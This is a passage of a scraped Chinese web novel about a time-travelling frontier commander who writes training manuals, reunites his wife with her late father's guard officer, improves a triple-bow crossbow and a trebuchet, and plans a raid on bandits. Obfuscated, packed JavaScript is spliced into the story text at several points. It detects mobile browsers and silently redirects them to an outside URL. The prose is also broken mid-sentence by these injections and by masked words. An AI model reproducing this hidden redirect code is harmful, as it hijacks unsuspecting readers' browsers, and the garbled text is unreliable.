唐岿然轻叹一声,将半年前南疆那场**,以及自己是如何被发配到北疆的过程一一道出。 “其他兄弟呢?你可知他们的下落?”陈暻垚连忙问道。 唐岿然摇了摇头,说道:“大哥和六弟当场被斩首,二哥下落不明,我与其他几位兄弟被抓入大牢,之后便彻底没了联系!” “该死!”陈暻垚重重一拳砸在城墙上,也不知是在骂金銮殿上的那位,还是陷害苏老将军一家的乱臣贼子。 三年前,苏家军打赢南疆那场定鼎之战后,南疆短时间内不会再有战事,对于想要建功立业的陈暻垚而言,留在南疆再难有作为。 陈暻垚是七人之中最小的一个,职位也是最低的,所以,他犹豫再三,还是找到了苏老将军。 他清楚记得,那一日在帅营中,几位兄弟的脸色非常难看,性格最为火爆的老四更是骂他白眼狼。 其实,陈暻垚也清楚,自己离开南系**投北系军帐下,等同于背叛,但他背负着家族的责任,个人荣辱只能排在后面。 然而,苏老将军非但没有责怪,还鼓励说好男儿志在边关,只要是杀敌,四方边疆并无区别。 紧接着,他更是亲笔书信一封,让自己带来北疆交给卢恽筹。 没想到,那一别竟然成了永别,今日再见唐岿然,早已是物是人非。 两人寒暄一番之后,陈暻垚好奇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15947985|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问道:“刚刚你说去城外把胡羯人的粮草军械搬回来了?” 唐岿然点头说道:“对啊,胡羯人留下的粮食可不少,还有许多活牛羊,今晚可以给兄弟们改善一下伙食了!” “前晚,你们不是已经把胡羯人的粮草给烧了吗?”陈暻垚则是满脸的不解地问道,当时的大火烧红了半边天,自己在城墙上可是看得清清楚楚。 凌川看向关外胡羯人结营的位置,笑道:“原本的计划确实是烧掉敌军粮草,以断其后路,不过回头一想,若是能救下狼烽口,这些粮草物资都会成为我们的战利品,反之,若是输了,烧了他们的粮草,只会让他们破关之后掠夺得更加凶狠!” 凌川顿了顿,继续说道:“所以,最终我只是让刘晏带一标兵力焚烧了几座空帐,其目的是让敌军感到恐慌!” 看似一个细小的决定,可背后却是凌川深思熟虑的结果,而且,凌川显然比大多数将领都想得更加深远,这让唐岿然与陈暻垚都露出赞许与钦佩的目光。 不得不说,这次霍元青带来的粮草物资非常充沛,除了军粮和战马的精料之外,还有数十头活牛和几百头活羊。 沿途行军,这些牛拉牛车充当脚力,当然,到了之后它们的最终宿命也是被**充当军粮。 这批战利品立马解决了狼烽口粮草的问题,最主要的是,如今的狼烽口足有一千多人,战马更是多达一千五百余匹。 此前虽然全歼了胡羯一千精骑,但很多战马却活了下来,在骑兵战死之后,那些受惊的战马便跑到战场边缘,得以幸免。 这六百余匹战马,可是一笔巨额财富,要知道,一匹普通马的价格便高达三十两银子,战马则是至少五十两,甲等马的价格更是达到了惊人的一百两。 此次缴获的六百余匹战马之中大多为乙等马,甲等马只有不到两百匹,但依旧十分惊人。 胡羯之所以能接连侵扰北疆,近些年更是一直稳占上风,最主要的原因便是,胡羯盛产马匹,而且,马的质量远高于中原马种。 第70章 当世鬼才! 下午,凌川召集死字营各标标长议事,还刻意将陈暻垚请到场。 首先,凌川询问了这一战的战损,随后,让各标长总结这一战的心得。 这一战,他们折损了两百余人,不过相比起战果,绝对算得上是大获全胜,以至于大家的发言都主要侧重于如何取胜。 待所有人说完之后,凌川的目光从一众标长的脸上扫过,严肃说道:“这一战,咱们虽然打赢了,但却赢得侥幸!” “不要觉得我在打击你们的士气,如果我们当时不是抢占先机,趁着对方阵营混乱发起冲锋,而是与那一千精骑拉开架势对拼,我敢保证,最终**得片甲不留的,一定是我们!” 众人没有说话,因为他们知道,凌川所言非虚,毕竟他们都曾是军中将领,比普通人更清楚这一战赢得有多么侥幸。 但也正因为如此,他们心中对凌川生出了敬佩之意,这个只有十六岁的少年,无论是事先的布局还是对战机的把握乃至于阵型的调配,都让他们刮目相看。 凌川继续说道:“所以,接下来这段时间,咱们除了帮助狼烽口完成修缮工作,还得加紧操练,不然,下一战我们未必能这么幸运!” 这虽然是大家第一次并肩作战,但,凌川表现出来的能力却得到了大家的高度认可,对于他的命令也是绝对服从。 紧接着,凌川取来纸笔,准备写出练兵的要领,可想了想,自己的字实在是见不得人,便笑着看向陈暻垚。 “看来,还得麻烦陈校尉了!” 陈暻垚瞪了他一眼,说道:“你小子,才升了校尉就开始使唤起我来了是吧?” “嗐,没办法,咱们这儿都是一群大老粗,就你读书最多!”凌川笑道。 “你少来这套!”陈暻垚表面抗拒,可还是主动接过毛笔。 接下来,凌川负责说,陈暻垚负责写。 所说内容主要是如何练兵,他前世的世界虽然骑兵早已被淘汰,但先辈历代总结出来的兵书却流传了下来,而且,对热衷于冷兵器战争的凌川来说,那些都是必读的书。 他将记忆中前世所读的《武经总要》《练兵实纪》以及《孙子兵法》等兵书当中的练兵要领与自己的理解相结合,从骑兵列阵开始讲起。 其中涉及到很多细节,例如如何保持锋线整齐,如何保证在变阵中阵型不乱,如何控制战马速度,乃至如何最大限度重创敌人阵营。 此外,凌川还事无巨细地列举了在何种地形使用什么战阵,对什么样的敌军使用哪种方 式进攻,甚至精细到使用什么兵器都做了详细要求。 当然,骑射之术、体能训练这些都是基本功,也是着重训练的项目。 凌川口若悬河,几乎是不假思索张口就来,仿佛是胸有万卷书,出口即文章。 知道他发现陈暻垚跟不上自己的速度,他不得不放缓语速。 在确定没有遗漏之后,凌川感觉一阵口干,给自己倒了一碗茶,发现所有人都用看怪物的眼神看着自己,陈暻垚更是看着桌上厚厚的一沓纸,满脸惊愕。 “别告诉我,这也是你在古籍上看到的!” 凌川理所当然地点了点头,“对啊,难不成你觉得这都是我自己想出来的?” 虽然觉得不可思议,但陈暻垚隐约感觉,凌川没有说实话。 因为他心里很清楚,这些内容要是在军中公开,定会引发轩然大波,甚至被各方名将奉为至宝。 如此全面的练兵之法,不仅事无巨细,将所有因素都容纳其中,特别是战阵演变环节,更是堪称神妙,里面提到的一些要点,更是让人眼前一亮。 自己虽不敢说读书万卷,但看过的书也不在少数,特别是兵书更是没少看,如果凌川口中的那本‘古籍’真的存在,为何自己闻所未闻? 就算是自己孤陋寡闻,难道当世名将见识浅薄之辈?要不然怎么也会有只言片语流传开来。 与之相比,自己这位自诩博览群书的读书人,简直就是一个笑话。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15947986|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 此前,凌川所创的五行锥阵,在此次一战中大显神威,很大程度上,正是五行锥阵让他们将一批批登上城楼的敌军击杀,坚持了两天三夜。 若是按照这种方法训练,定能打造出一支纵横沙场的无敌铁骑。 现场十位标长,大多都读书不多,但凌川全程用的都是通俗易懂的大白话,不像书籍上面那般晦涩难懂,以至于他们都能听懂。 也正因为如此,他们才更为震惊。 所有人看向凌川的目光中都写满了震惊与狂热,脑海中更是不约而同地冒出两个字——鬼才。 “各标按照这个训练即可,我先回去了!”凌川生怕陈暻垚继续追问,直接找了个借口开溜。 傍晚,狼烽口杀牛宰羊,犒赏全军。 凌川也分得一些牛羊肉,顺带还拿了些牛肚羊杂回到家中清洗干净,又在院子里架起一口大锅。 “相公,今晚又吃火锅吗?”苏璃满脸期待地问道。 “耶!又吃火锅咯!”小北欢呼雀跃,经过这段时间的相处,小家伙变得开朗了许多,那双木讷的眼神也逐渐恢复了童真。 “今天有客人,得多做些!”凌川笑着回答道。 苏璃好奇问道:“有客人,谁呀?” 陈暻垚经常登门,算不上客人,不过她是在想不到在这狼烽口,还有谁算得上是客人。 “嘿嘿,一会你就知道了!”凌川先卖了个关子。 傍晚,陈暻垚拉着唐岿然朝着凌川家里走去,一路上,唐岿然显得十分紧张。 “老七,我第一次去校尉家里吃饭,空着手去不妥吧!”唐岿然有些紧张。 “没事,凌川不是市侩的人,而且,那小子做的一手好菜,一般人想吃还吃不上呢!”陈暻垚一脸笑意,拽着他往前走。 “可我听说,凌校尉成家了,就算他不在乎,难免夫人会多想!”唐岿然依旧觉得不妥。 “那就更不会了,你们校尉夫人可是知书达理的贤惠女子!”陈暻垚笑着夸赞道。 第71章 亲人相见! 二人已经来到凌川所住的院门口,一股浓郁的香味扑鼻而来,令人馋涎欲滴。 只见院中架着一口大铁锅,鲜红的汤汁在锅中翻滚,牛羊肉的香味正是从汤汁中散发出来的。 正在忙着熬火锅的凌川听到动静,扭头看向门口,说道:“先坐会,火锅马上就好了! 唐岿然则是恭恭敬敬地抱拳行了一礼,“校尉大人! 凌川上前拍了拍他的肩膀,说道:“这里不是军营,更何况,大家都不是外人,不用那么拘谨! 唐岿然并没理解凌川那句‘大家都不是外人’是什么意思,只当是这次并肩作战,让凌川认可了自己。 就在这时,屋内传来一道声音:“相公,是客人到了吗? 紧接着,只见苏璃从大门走了出来。 唐岿然连忙躬身行礼,“属下唐岿然,见过夫人! 唐岿然全程垂首,眼角的余光只能看到对方的裙摆,毕竟,自己作为下属,若目光乱瞟那可是十分不敬的行为。 听到唐岿然这个名字,苏璃身体顿时呆滞在原地。 她没想到凌川说的客人,竟然是唐岿然。 只见她缓步上前,双眼之中泪花闪烁,哽咽道:“三哥,真的是你吗? 唐岿然身体一颤,只见他缓缓抬起头,看着站在自己面前的女子。 “小璃…… 唐岿然声音颤抖,两行热泪夺眶滚下,他没想到能在这里遇到苏璃。 “小璃,真的是你,你怎么…… 显然,唐岿然还没搞清楚状况,更不会想到,凌川竟然是苏璃的丈夫。 陈暻垚将事情的来龙去脉讲了一遍,唐岿然才算是明白过来。 “老七你咋不早点告诉我?唐岿然给了陈暻垚一拳。 唐岿然则是一脸坏笑道:“这不准备给你一份惊喜吗? 翻滚的火锅和浓郁的香气让伤感的氛围淡了很多。 在了解到苏璃的悲惨遭遇后,唐岿然也是一阵感慨,好在,在她最绝望的时候,遇到了凌川。 “小璃,对不起!唐岿然哽咽道:“我作为大将军的亲兵校尉,却没能护住他,对不起…… 作为亲兵校尉,理应死在大将军之前,奈何,大将军**自己却还活着,于他而言,简直就是一种耻辱。 半年前,神都七日之内连出三道圣旨,让大将军回朝听令。 当时,大将军已经嗅到了危险的气息,但还是决定回朝,刚到神都亲兵营被禁军扣下, 他们身为边关战兵,岂能让他人缴械,可大将军下下令,让他们所有人放下武器,而大将军则是孤身入宫。 当晚,唐岿然与亲兵营便全部被禁军拿下,此时他已经意识到不对劲,但已经被缴械的他们,虽与禁军展开搏斗,可终究还是寡不敌众。 第二日,皇宫内边传出消息,大将军结党营私,意图谋反,被打入大牢。 三日之后,大将军被抄家问斩,从收监到审问再到定罪,只用了短短三日。 整个过程快到令人发指,就算是傻子都知道,这是一场阴谋,准确说这是一场阳谋。 这半年来,唐岿然心中一直在自责,无数次在梦中惊醒,浑身被冷汗湿透。 此时,再见到大将军的女儿,这个从小被他们几兄弟当做妹妹的女子,积压在心底许久的情绪宛如决堤的江河,溃散开来。 “三哥,这不怪你,反倒是你们被苏家连累!”苏璃也是泪流满面,不断摇头说道。 一旁的陈暻垚与凌川二人对视了一眼,皆从对方的目光中看到了仇恨与杀意,二人暗下决心,一定要让陷害苏大将军的仇人付出代价。 落座之后,酒菜上齐。 唐岿然双手端起酒碗,起身面朝凌川,说道:“凌兄弟,咱们丑话说在前面,虽然你是我的上级,但若是你对我这妹妹不好,我哪怕是以下犯上,也要跟你拼命!” 凌川也端起酒碗,笑道:“你这话,陈校尉早就说过了!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15947987|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这顿火锅吃得是热火朝天,陈暻垚已经吃过多次,但还是被辣得嘴唇通红,唐岿然第一次吃更是扛不住,早已是满头大汗,眼泪横流。 反倒是苏璃和小北,这段时间一有空就做火锅吃,二人吃得是津津有味。 “凌校尉,你是怎么想出火锅这种吃法的?”唐岿然被辣得直哈气,本想喝点酒解辣,可刚端起酒碗才意识到这不是以往喝的米酒和黄酒,而是从未见过的烈酒。 “你是不知道,这小子简直就是一怪胎,他捣鼓出来的稀罕玩意多着呢!”陈暻垚大着舌头说道。 酒过三巡之后,陈暻垚小声说道:“这半年来,我一直在暗中调查,奈何我身处狼烽口加之力量有限,也只是查到了一些蛛丝马迹!” 唐岿然闻言,立马放下筷子,一脸正色问道:“老七,你查到了什么?” “大将军被害,归根结底是功高震主,加之南疆战乱已彻底平定,他的存在只会让那位如坐针毡!”陈暻垚指了指头顶的天空,继续说道。 “原本,陛下的意思是收回大将军的护符,让他解甲归田安享晚年,可消息传出之后,曾经被大将军打压的那些人却嗅到了一丝机会,想要借助陛下的手彻底除掉大将军!” 陈暻垚的声音逐渐冰冷,眼底杀机闪现:“他们借助陛下的猜疑,在背后推波助澜,构陷一些子虚乌有的所谓证据,相比之下,这些人才更该死!”陈暻垚咬牙说道。 “可是那千面鼬?”唐岿然追问道。 陈暻垚摇了摇头,说道:“不仅是他,偌大的朝堂之上,有近半数人都巴不得苏家军土崩瓦解!” 凌川暗自叹息,为苏老将军乃至苏家军感到不值,也为大周帝国腐朽至此感到悲哀。 苏家军为国征战,以十万将士血染沙场、埋骨边疆为代价,平定南疆战乱,可结果却落得如此悲惨下场。 庙堂之上,一众官员却只顾着自身利益,就像一条条吸血虫,啃噬着大周帝国这头年迈巨兽,全然不顾天下黎民和江山社稷。 第72章 我对当皇帝没兴趣! 如果说,苏老将军是大周最后一根柱石,那随着他含冤而死,大周最后一根脊梁也断掉了。 可悲的是,这样以为战功卓著的国之栋梁不是死在战场上,而是死在朝堂权臣的阴谋之下。 就在这时,唐岿然也开口说道:“事后,我也怀疑,苏家军里是不是出了内鬼! 此言一出,陈暻垚和苏璃神色顿时一变,纷纷看向他。 “起初我也只是猜测,但我越想越觉得可能性很大!唐岿然继续说道:“给大将军定的罪状中,有几条都涉及南系军绝密,除非是苏家军的核心成员,否则根本接触不到! “而且,之后朝廷派人轻而易举便接管苏家军,若没有人从中配合,绝不可能那么顺利! 此言一出,陈暻垚也陷入了沉思当中,那一个个名字,一张张面孔在脑海中闪过,可最终却又摇头一一否定。 苏璃几次想要开口,可最终还是忍住了。 “想要给大将军翻案,仅凭你我二人,根本没希望!唐岿然重重放下酒碗,声音中透着几分无奈。 凌川主动给他倒了一碗酒,说道:“别忘了,还有我们! “对,还有我们!苏璃也满脸决然,点头说道。 唐岿然双目微红,摇头说道:“非是我长他人志气,大将军执掌南系军,可在皇权面前,依然是如此渺小,一道圣旨便让他入宫受缚! 陈暻垚点了点头,叹息道:“是啊!强如大将军在皇权面前依旧如此,我们想要报仇又谈何容易? “那是因为,苏大将军还不够强!凌川沉声说道。 此言一出,陈暻垚和唐岿然皆是一脸诧异地看着他,要知道,南系军可是大周帝国最能打的军队,苏大将军作为南系军主帅,说是一人之下万人之上也毫不为过。 可凌川却说,大将军还不够强? 凌川看着二人问道:“虽然南系军被称之为苏家军,但你们二位心里很清楚,苏大将军到底有没有彻底掌控这支军团! 二人对视一眼,点了点头,确实如凌川所言,虽然大将军是南系军主帅,但,军中依然存在不少派系,而且,不少中层将领都是朝中重臣送进来镀金的子嗣,此外,那些世家豪门也都想方设法将家族翘楚往南系军送,以此磨砺资历! 如果整个南系军上下都是铁板一块,唯大将军之命是从,就算当今陛下想要动他,也得掂量掂量。 紧接着,凌川继续说道:“当然,仅仅是军队还不够,还得在朝中扶植自己的人,就算不 能左右朝堂局势,也得时刻了解朝堂之上的风吹草动。” “除此之外,还得在商贾领域积累足够的财富,不能让别人用军饷粮草来卡脖子!” 听到这里,陈暻垚二人不由得瞳孔一缩,看向凌川的目光之中写满了震惊。 “你该不会是……” 不等陈暻垚说完,凌川便笑着摇了摇头,说道:“我对当皇帝没兴趣,除非……” “除非什么?”唐岿然连忙追问道。 凌川看了看身旁的苏璃,笑道:“除非我娘子想当皇后!” 三人心思各异,尽管苏璃很清楚,这不过是凌川的一句玩笑话,但内心还是无比感动。 凌川的意思已经很明显,他愿意为自己打下整座江山。 而陈暻垚与唐岿然内心更多的则是震惊,仅仅是凌川的这些想法,就足以让他们抄家灭门。 可若他有一天真能做到,那估计便是改朝换代的时候了。 然而,凌川却明确表示,自己对当皇帝不感兴趣,难免让人惊愕,毕竟,这天底下没几人能抵挡主宰天下的权力诱惑。 甚至于,古往今来,为了那个位置,父子相杀、兄弟相残的戏码上演了无数次。 殊不知,在凌川穿越者的眼光看起来,皇帝简直就是一份苦差,若要做一个明君,得鸡叫起床上早朝,半夜还在批阅奏章,更要操劳天下国事,担忧边境战事,最主要是,不管走到哪里都有无数双眼睛盯着,根本没有自由可言,那座巍峨气派的皇宫说得好听点是天下权柄的神坛,可何尝又不是一座围墙高筑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15947988|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的牢笼? 就算是做一个只知道贪图享乐的昏君,整日沉迷后宫,也得面对后宫众多嫔妃之间的勾心斗角,还得时时提防有人要自己的命,整日都活在提心吊胆之中。 或许,在很多人的幻想中若是坐上龙椅,睡着了都得笑醒,但,对于凌川来说,皇帝这位置,狗都不坐! 当然,若是有朝一日,自己和那位九五至尊真到了你死我活的地步,又是另外一回事了。 这顿饭一直吃到晚上,陈暻垚与唐岿然酒足饭饱才离开。 回到屋内,苏璃一把抱着凌川:“相公!” “怎么了?”凌川神色错愕。 此时,苏璃的内心很矛盾,她并不想凌川卷入自己的复仇风波之中,但她又很清楚,仅凭自己想要复仇,根本没有半点希望。 “你对小璃太好了,小璃这辈子都无法报答!”苏璃泣声道。 凌川一把将她搂进怀里,笑道:“那就下辈子再报答!” “小北在呢!”苏璃连忙小声说道。 “已经睡了!” 苏璃看了一眼小北的小床,此时,小家伙已经睡熟,这才主动吻向凌川。 数日不见,二人内心的思念也瞬间被点燃,一番热吻之后,凌川直接一把将她抱到床上。 苏璃也饮了少许烈酒,比往日更为热烈奔放。 …… 接下来的几日,死字营成员与狼烽口守军一起修缮城墙,此次一战,狼烽口险些夷为废墟,城门破碎,城墙很多地方都塌陷了,亟需修缮。 近几个月来,胡羯军队接连在狼烽口失利,谁也不知道拓跋桀会不会再派兵攻打狼烽口,必须尽快完成修缮。 所有士兵分成两批,半日修缮城墙工事,剩下半日则是按照凌川列出的练兵之法进行操练,步卒主要操练五行锥阵,而骑兵则是围绕战阵演变、冲锋、骑射等重点进行操练。 这段时间,小北也来到校场边,手里拿着一把凌川给他做的木刀,学着士兵们的样子操练,虽然动作很稚嫩,但却学得有模有样。 第73章 三弓床**! 陈暻垚也没有闲着,除了亲自参与操练之外,还根据此次交战中狼烽口体现出来的短板,对守城器械进行了制作与补充。 先是让人到附近村镇请来大量木匠,制作了五张床**,此外,还让他们将城外那五架胡羯人留下的投石车拆解之后,全部搬了回来。 这五架投石车距离城墙较远,所以,基本上保存完好。 这次交战,这五架投石车给他们造成了巨大的损失,许多士卒便是被飞石砸死,现在想起来依旧是心有余悸。 陈暻垚决定,将这五架投石车安在城内,如此一来,若是胡羯人再攻打狼烽口,也让他们尝一尝飞石的滋味。 事实上,投石车这种攻城器械出自大周,胡羯军队很少使用,这一次是因为攻城主将乃是周人出身的霍元青,要是换做其他人,就算能想到这个方法,也制作不出来。 这一战,算是给陈暻垚狠狠上了一课,自己虽熟读兵书,但跟霍元青这种沙场老将相比,还是嫩了些。 若非凌川在最后关头率军杀至,一举扭转战局,估计,那晚胡羯的天狼旗已经插在狼烽口的城墙上了。 就在这时,凌川找了过来,只见他围着床**和投石车转了一圈,陈暻垚笑着走了上来,问道:“怎么样?看出什么究竟没?” 凌川点了点头,说道:“这些器械,太过于笨拙,野外作战基本用不上,但若是用在攻城和守城上,却是绝对的利器!” 陈暻垚自信满满地说道:“若是之前狼烽口有足够的床**和投石车,胡羯人别说登上城墙,就算是靠近城墙的机会都微乎其微!” 忽然,凌川注意到面前的床**,三张硬弓整整齐齐地列在架子上。 “这床**不对!” 陈暻垚闻言,神色顿时一变,连忙问道:“有何不对?” 以他对凌川的了解,这家伙绝不会无的放矢,他说不对多半是真有问题,只是他不明白,这架床**在之前的守城战中可是起了大作用,会有什么问题。 “这床**能射多远?”凌川问道。 “五百步内可穿甲破盾!”陈暻垚回答道。 凌川指着面前的床**,说道:“若是改进一番,可将射程提升两百步,而且,可同时发射五到七支**箭!” “真的?”陈暻垚眼神中写满了狂热,问道:“怎么改?” 凌川对不远处的中年木匠喊道,“李师傅,你来一下,把这张后弓翻转过来!” 李木匠就是狼烽口人,做了半辈子木匠,活儿自然不会差。 听凌川说,要将后弓翻转过来,他一脸的不解,问道:“凌校尉,你确定要把后弓翻转过来?” 陈暻垚的眼底也浮现出意思怀疑,问道:“这床**之所以能射五百步,正是因为这三张弓力叠加在一起,要是把后弓翻转过来,岂不是与前弓和主弓相互拉扯,你确定能行?” “试试,不就知道了?”凌川淡然一笑,说道。 或许是此前见识过凌川带来的一次次惊喜,亦或是出于对他的信任,陈暻垚还是决定按照凌川的方法试一试,但心里却依旧持怀疑态度。 毕竟,这根本不符合常理。 李木匠找来两个人,开始拆卸后弓,然后翻转安装,又按照凌川的方法套上弓弦,看着这个造型怪异的床**,他不由打趣道: “凌校尉,恕小人多嘴,小人干木匠活几十年,这东西一看就不是那么回事!” 凌川笑了笑,说道:“搬到城墙上试试吧!” 陈暻垚见凌川如此自信,便叫来几名士兵,将这架床**抬到城墙上。 “把**箭装上,试一试!” 很快,三支**箭便被安装到箭槽之中,两名士兵转动绞盘,随着松开机括,弓弦猛然一颤,三支手腕粗的**箭发出尖锐的破空之声飞射而出。 陈暻垚双目微凝,紧盯着飞向城外的三支**箭,可让他意外的是,这三支**箭明显比之前的五百步要远不少,至于具体多远,无法目测。 “快去测一下距离!”陈暻垚满脸狂喜,命令两名士兵出城去测量射程。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15947989|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 很快,两名士兵扛着三支**箭回到城墙。 “启禀校尉大人,七百二十步!” 听到这个距离,陈暻垚顿时倒吸一口凉气,他没想到,经过凌川改良后的床**,射程竟然比之前多出了将近一半。 他想破脑袋也想不通,凌川只是将后弓反过来装,可射程非但没像预想中那样减少,反而是提升了整整两百步,简直是匪夷所思。 李木匠同样是瞪大双眼,简直怀疑自己听错了。 “凌校尉,这,这是怎么回事?”李木匠满脸不可思议的神色。 凌川笑了笑,说道:“将后弓反过来,可以让弓弦拉得更饱满,蓄力自然也就更大,此外,在射出**箭的瞬间,**箭先是依靠主弓和前弓的力量送出,可就在这两张弓的力量消减殆尽之时,反装的后弓开始发力,等同于第二次将力量传递到**箭之上!” 三弓床**作为前世古代战场上的大杀器,凌川自然不陌生,当初在了解其原理之后,也对当时那些工匠的奇思妙想大为惊叹,没想到今日竟然派上了用场。 “这也是你从古籍上看到的?”陈暻垚看着凌川问道。 凌川嘿嘿一笑,点头道:“确实是在古籍上看到的!” 陈暻垚白了他一眼,说道:“你就继续编吧,那你说这**叫什么名字?” “你还别说,这次真有记载,这**叫三弓床**,又名八牛**!” “我看是你现起的吧,不过这名字还真不错!”陈暻垚笑道。 凌川不想做过多解释,连忙岔开话题,“那几架投石车也有一些弊端,如果加以改进,精度和射程都会有很大程度的提升!” 陈暻垚听到这话,哪里还坐得住,直接拉着凌川走下城墙,来到投石车跟前。 李木匠与那几名士兵紧随其后,生怕错过。 在他们看来,凌川简直就是神人,心中很是期待他改良后的投石车会恐怖到何种程度。 投石车主要是利用杠杆和抛物线的原理,但这其中也凝聚了无数代人的智慧。 第74章 北疆响马! 眼前这五架投石车与凌川前世了解的投石车有些不同,主要是,这五架投石车并没有配重,完全就是靠人力撬动杠杆,以此将石头抛出去。 这不仅耗时费力,射程和精度也大打折扣。 “这个改动较大,一时半会说不清楚,而且,我就算说清楚了,估计大家也做不出来,这样吧,**脆把图纸画出来,大家照着做就行了!” 陈暻垚闻言,连忙让人去取来纸笔。 很快,凌川便画出了投石车的底座与架子,随后,他又画出配重舱,事实上,这就是一个吊在杠杆近端的木箱,至于杠杆远端,凌川也做了一些调整,去掉了原本盛放石头的大勺子,而是用皮兜代替。 皮兜两侧装上两根绳子,其中一端固定在杠杆远端,而另一端则是挂在杠杆末端的销子上面,这个销子的角度很重要,既要保证绳索的一端在特定的角度脱落进而保证精准将皮兜中的石头甩出去,同时还要保证销子的角度可以调节,以此来调整投石车的打击目标。 此外,凌川还对绞盘改进成了单向齿轮,不但节省了人力,还增加了射程。 一群木匠围着图纸看了许久,很多地方依旧是一知半解,他们虽然都是手艺人,但绝大多数都没读过书,更不可能知道现代力学了。 凌川也不着急,仔仔细细给他们讲解,特别是一些关键部位,更是强调了精度要求,以及什么地方要用硬度高的木头,什么地方要用韧性佳的木头,都一一进行了讲解。 “各位师傅,就按照这个做吧,如果遇到问题,再请教凌校尉!”陈暻垚对一众木匠说道。 凌川正欲离开,只见苍蝇快步朝着这边跑来。 “见过二位大人!” 见到苍蝇,凌川基本已经猜到是什么事了,问道:“情况怎么样?” “标长找到那群劫粮的响马了,就在三十里之外,不过看他们使用的兵器和行为动作,并不像响马,反倒是像……” 看到这里,苍蝇抬起目光看了凌川和陈暻垚二人一眼。 “像什么?”陈暻垚问道。 “像边军!” 听到这个答案,凌川并没有感到意外,毕竟,此前他就觉得,响马劫军粮,这听起来就很反常。 虽然绿林响马屡禁不止,但马贼不是傻子,怎么会在边军眼皮子地下活动?更何况,北疆边境本就贫瘠,没什么可抢的,但凡脑子正常,都会换一个相对富饶的地方活动。 再联想到自己在漠北大营的遭遇,凌川心中已经有所怀疑。 所以,那日吃饭的时候,凌川与陈暻垚和唐岿然二人商议,决定让斥候出身的纪天禄带一些身手过硬的老卒前去探查情况。 特意交代让他把将聂星寒带上,他那神乎其技的箭术,能在关键时刻发挥大用,所以,刚刚见到苍蝇回来,凌川便猜到纪天禄已经找到目标了。 “对方多少人?”凌川问道。 “那群马贼住在一座土堡中,人数在四五十人左右!”苍蝇说道。 “你去告诉唐岿然,点五十名老卒随我走!”凌川对苍蝇交代道。 “是!” “你准备干掉他们?”陈暻垚问道。 凌川点了点头,说道:“如果他们是普通响马,就算没有滥杀无辜,但也定然是侵扰百姓打家劫舍,本就该杀,如果是边军,那就更该杀!” “你有没有想过,这件事情的背后,会不会有章绩的影子?”陈暻垚小声问道。 “我与他反正都撕破脸了,正所谓来而不往非礼也,也该让他知道,我凌某人不是他可以随意拿捏的!” 陈暻垚没有劝阻,毕竟凌川已然被提为校尉,严格来说不算自己手下,而且他手下兵力更是近千人,估计,用不了多久,关于他的调令就会下来。 “你小心些!”陈暻垚拍了拍他的肩膀说道。 很快,唐岿然便带着五十人赶了过来,此次挑选的皆是南系军中的好手,且,大部分曾经都是标长、什长,实力相当过硬。 一刻钟后,凌川带着五十骑离开狼烽口,除了苍蝇和唐岿然挑选的五十老卒之外,凌川还向陈暻垚把余生给借了过来。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 